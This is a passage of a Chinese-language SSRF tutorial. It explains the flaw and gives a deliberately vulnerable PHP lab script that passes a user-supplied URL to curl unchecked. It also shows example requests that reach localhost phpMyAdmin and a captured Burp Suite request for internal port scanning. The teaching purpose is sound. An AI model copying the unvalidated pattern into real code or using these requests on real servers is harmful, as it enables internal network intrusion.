SSRF漏洞原理与利用

漏洞知识库

网络安全/渗透测试/代码审计/

关注

SSRF漏洞原理与利用

什么是SSRF？

SSRF(Server-Side Request Forgery)，服务器端请求伪造；利用一个可以发起网络请求的服务，可以当做跳板来攻击其他服务。

Know IT, SSRF有什么能耐？

内外网的端口和服务探测

主机本地敏感数据的读取

内外网主机应用程序漏洞的利用

…… 等等

怎么找到SSRF漏洞？

能够对外发起网络请求的地方，就可能存在SSRF漏洞

从远程服务器请求资源(Upload from URL,Import & Export RSS feed)

数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)

Webmail收取其他邮箱邮件(POP3/IMAP/SMTP)

文件处理,编码处理，属性信息处理(ffpmg,ImageMaic,DOCX,PDF,XML处理器)

测试靶场PHP源码

代码语言：javascript复制

<?php
function curl($url){
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_exec($ch);
	curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

SSRF漏洞的利用

访问URL：

http://127.0.0.1/web/ssrf.php?url=www.baidu.com

可以看到，用GET请求让服务端请求百度的URL成功

当我们设置参数URL为内网的时候，那就会泄露/探测到内网的信息

比如内网下有一个http://127.0.0.1/phpmyadmin/

我们尝试让服务端请求这个phpmyadmin,其构造URL:

http://localhost/web/ssrf.php?url=127.0.0.1/phpmyadmin/

BurpSuite - Intruder模块探测内网端口

首先访问URL：

http://localhost/web/ssrf.php?url=127.0.0.1

然后打开BurpSuite抓包：

数据包如下：

代码语言：javascript复制

GET /web/ssrf.php?url=127.0.0.1 HTTP/1.1
Host: localhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Connection: close

右键 - Send to Inturder: